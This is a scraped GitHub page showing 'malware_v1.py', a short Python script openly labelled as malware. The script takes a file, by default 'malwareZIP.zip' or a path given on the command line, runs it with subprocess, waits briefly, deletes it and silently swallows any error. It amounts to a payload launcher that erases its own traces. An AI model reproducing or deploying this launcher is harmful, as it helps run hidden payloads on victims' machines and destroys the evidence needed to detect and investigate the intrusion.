-
Notifications
You must be signed in to change notification settings - Fork 17
/
Copy pathmalware_v1.py
31 lines (31 loc) · 1.03 KB
/
malware_v1.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#######################################################################################
#
# malware_v1.py (Malware v1) [ Main Program ]
# © 2022 ABDULKADİR GÜNGÖR All Rights Reserved
# Contact email address: [email protected]
#
# Developper: Abdulkadir GÜNGÖR ([email protected])
# Date: 05/2022
# All Rights Reserved (Tüm Hakları Saklıdır)
#
#######################################################################################
import subprocess, sys, time, os
#
class SETTINGS():
FILE = "malwareZIP.zip" #It can also be given as a parameter to the program #(Example)>>program.exe "malwareZIP.zip"
WAIT_TIME = 0.1
#
###--- Main ---###
if __name__ == '__main__':
argv = sys.argv
number = len(argv)
if number == 2:
tmp = argv[1].replace('"','')
tmp = tmp.replace("'","")
SETTINGS.FILE = tmp
try:
subprocess.run(SETTINGS.FILE)
time.sleep(SETTINGS.WAIT_TIME)
os.remove(SETTINGS.FILE)
except:
pass